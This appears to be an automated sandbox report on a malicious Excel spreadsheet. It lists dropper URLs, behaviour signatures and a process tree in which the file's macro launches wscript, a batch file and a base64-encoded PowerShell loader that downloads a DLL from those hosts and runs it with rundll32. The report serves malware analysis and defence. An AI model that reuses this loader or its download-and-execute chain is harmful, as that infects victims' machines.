Analysis
- max time kernel
122s - max time network
122s - platform
windows7_x64 - resource
win7-en-20211208 - submitted
02/02/2022, 03:17
General
- Target 2022-02-02-1b3c6edcaff59cdcbd3ac1cc017ecc8e_unzipped.xls
- Size 151KB
- Sample220202-ds2n2afch9
- SHA256 158c1b61e44f7b73828133ba2db058a6fbcbb0eddc62be4f87f6a889e4a53035
Malware Config
Extracted
-
ps1
-
exe.dropper
http://aishyana.com/wp-admin/6pY001tdOxYb10/
-
exe.dropper
https://nccikeja.com/back/lOo46UEiVanm/
-
exe.dropper
https://mail.themintlist.com/wp-includes/S5xbjWOoM75ysw9xaM/
-
exe.dropper
https://karaah.com/kvxtqec/L8mqXiKjN95uoFOQqDS/
-
exe.dropper
https://mail.terinhumphrey.com/tasty-crab-promo/qBdohcsqomjFk/
-
exe.dropper
https://mail.gymcoachjose.com/ew9iwl/av20pfJZ44/
-
exe.dropper
https://sahayoghospitals.com/older/NFPLtNt4M3D1yYt/
-
exe.dropper
http://3.130.37.158/wp-admin/YDjVQgZv/
-
exe.dropper
https://stntools.com/js/uhTyC/
-
exe.dropper
https://www.dirtduel.com/db/v4gdL66Y/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Office loads VBA resources, possible macro or embedded object present
- Enumerates system info in registry 2 TTPs 1 IoCs
- Modifies Internet Explorer settings 1 TTPs 31 IoCs
- Modifies registry class 64 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 9 IoCs
- Suspicious use of WriteProcessMemory 23 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2022-02-02-1b3c6edcaff59cdcbd3ac1cc017ecc8e_unzipped.xls1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\wscript.exewscript c:\programdata\wetidjks.vbs2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\programdata\jledshf.bat" "3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwBhAGkAcwBoAHkAYQBuAGEALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvADYAcABZADAAMAAxAHQAZABPAHgAWQBiADEAMAAvACwAaAB0AHQAcABzADoALwAvAG4AYwBjAGkAawBlAGoAYQAuAGMAbwBtAC8AYgBhAGMAawAvAGwATwBvADQANgBVAEUAaQBWAGEAbgBtAC8ALABoAHQAdABwAHMAOgAvAC8AbQBhAGkAbAAuAHQAaABlAG0AaQBuAHQAbABpAHMAdAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AUwA1AHgAYgBqAFcATwBvAE0ANwA1AHkAcwB3ADkAeABhAE0ALwAsAGgAdAB0AHAAcwA6AC8ALwBrAGEAcgBhAGEAaAAuAGMAbwBtAC8AawB2AHgAdABxAGUAYwAvAEwAOABtAHEAWABpAEsAagBOADkANQB1AG8ARgBPAFEAcQBEAFMALwAsAGgAdAB0AHAAcwA6AC8ALwBtAGEAaQBsAC4AdABlAHIAaQBuAGgAdQBtAHAAaAByAGUAeQAuAGMAbwBtAC8AdABhAHMAdAB5AC0AYwByAGEAYgAtAHAAcgBvAG0AbwAvAHEAQgBkAG8AaABjAHMAcQBvAG0AagBGAGsALwAsAGgAdAB0AHAAcwA6AC8ALwBtAGEAaQBsAC4AZwB5AG0AYwBvAGEAYwBoAGoAbwBzAGUALgBjAG8AbQAvAGUAdwA5AGkAdwBsAC8AYQB2ADIAMABwAGYASgBaADQANAAvACwAaAB0AHQAcABzADoALwAvAHMAYQBoAGEAeQBvAGcAaABvAHMAcABpAHQAYQBsAHMALgBjAG8AbQAvAG8AbABkAGUAcgAvAE4ARgBQAEwAdABOAHQANABNADMARAAxAHkAWQB0AC8ALABoAHQAdABwADoALwAvADMALgAxADMAMAAuADMANwAuADEANQA4AC8AdwBwAC0AYQBkAG0AaQBuAC8AWQBEAGoAVgBRAGcAWgB2AC8ALABoAHQAdABwAHMAOgAvAC8AcwB0AG4AdABvAG8AbABzAC4AYwBvAG0ALwBqAHMALwB1AGgAVAB5AEMALwAsAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGQAaQByAHQAZAB1AGUAbAAuAGMAbwBtAC8AZABiAC8AdgA0AGcAZABMADYANgBZAC8ALABoAHQAdABwAHMAOgAvAC8AYQBkAHYAYQBuAGMAZQBkAGcAdQBlAHIAcgBpAGwAbABhAG0AYQByAGsAZQB0AGkAbgBnAC4AYwBvAG0ALwBhAHMAcwBlAHQAcwAvAG8AVQBEAC8ALABoAHQAdABwAHMAOgAvAC8AbwByAGUAbABjAG8ALgBuAGUAdAAvAHcAcAAtAGEAZABtAGkAbgAvADUATgBpAE8ALwAsAGgAdAB0AHAAOgAvAC8AZwBhAGkAbgBjAC4AaQBuAGYAbwAvAHAAcgBvAGQAdQBjAHQAMwBfAGYAaQBsAGUAcwAvAFAAdwBBAEcAWAB0AGIAZgA2AHQAbgA1AHIALwAsAGgAdAB0AHAAcwA6AC8ALwBhAHMAdAByAG8AbgBvAG0AeQAyADQAeAA3AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMAA1AFoARwB0AHgAdAByAGYASQB4AE4AVgBiADAATQAvACIALgBTAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAIgArACQAaABiAHIAawBlADIAKwAiAC4AZABsAGwAIgA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHMAdAAgAC0ATwB1AHQARgBpAGwAZQAgACQAaABkAEcAZQA1ADUAcgB1AHIAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAaABkAEcAZQA1ADUAcgB1AHIAKQB7AGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd3⤵
- Suspicious use of WriteProcessMemory
-
\??\c:\windows\syswow64\rundll32.exec:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd4⤵
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/964-80-0x0000000002362000-0x0000000002364000-memory.dmp
memory/964-79-0x0000000002361000-0x0000000002362000-memory.dmp
memory/964-78-0x0000000002360000-0x0000000002361000-memory.dmp
memory/1956-66-0x0000000000750000-0x0000000000848000-memory.dmp
memory/1956-70-0x0000000000750000-0x0000000000848000-memory.dmp
memory/1956-61-0x0000000000750000-0x0000000000848000-memory.dmp
memory/1956-63-0x0000000000750000-0x0000000000848000-memory.dmp
memory/1956-64-0x0000000000750000-0x0000000000848000-memory.dmp
memory/1956-62-0x0000000000750000-0x0000000000848000-memory.dmp
memory/1956-65-0x0000000000750000-0x0000000000848000-memory.dmp
memory/1956-54-0x000000002FFE1000-0x000000002FFE4000-memory.dmp
memory/1956-68-0x0000000000750000-0x0000000000848000-memory.dmp
memory/1956-67-0x0000000000750000-0x0000000000848000-memory.dmp
memory/1956-69-0x0000000000750000-0x0000000000848000-memory.dmp
memory/1956-60-0x0000000000750000-0x0000000000848000-memory.dmp
memory/1956-71-0x0000000000750000-0x0000000000848000-memory.dmp
memory/1956-73-0x0000000000750000-0x0000000000848000-memory.dmp
memory/1956-72-0x0000000000750000-0x0000000000848000-memory.dmp
memory/1956-59-0x0000000000750000-0x0000000000848000-memory.dmp
memory/1956-58-0x0000000005C40000-0x0000000005C42000-memory.dmp
memory/1956-57-0x0000000075431000-0x0000000075433000-memory.dmp
memory/1956-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1956-55-0x0000000071461000-0x0000000071463000-memory.dmp
memory/1956-82-0x000000005FFF0000-0x0000000060000000-memory.dmp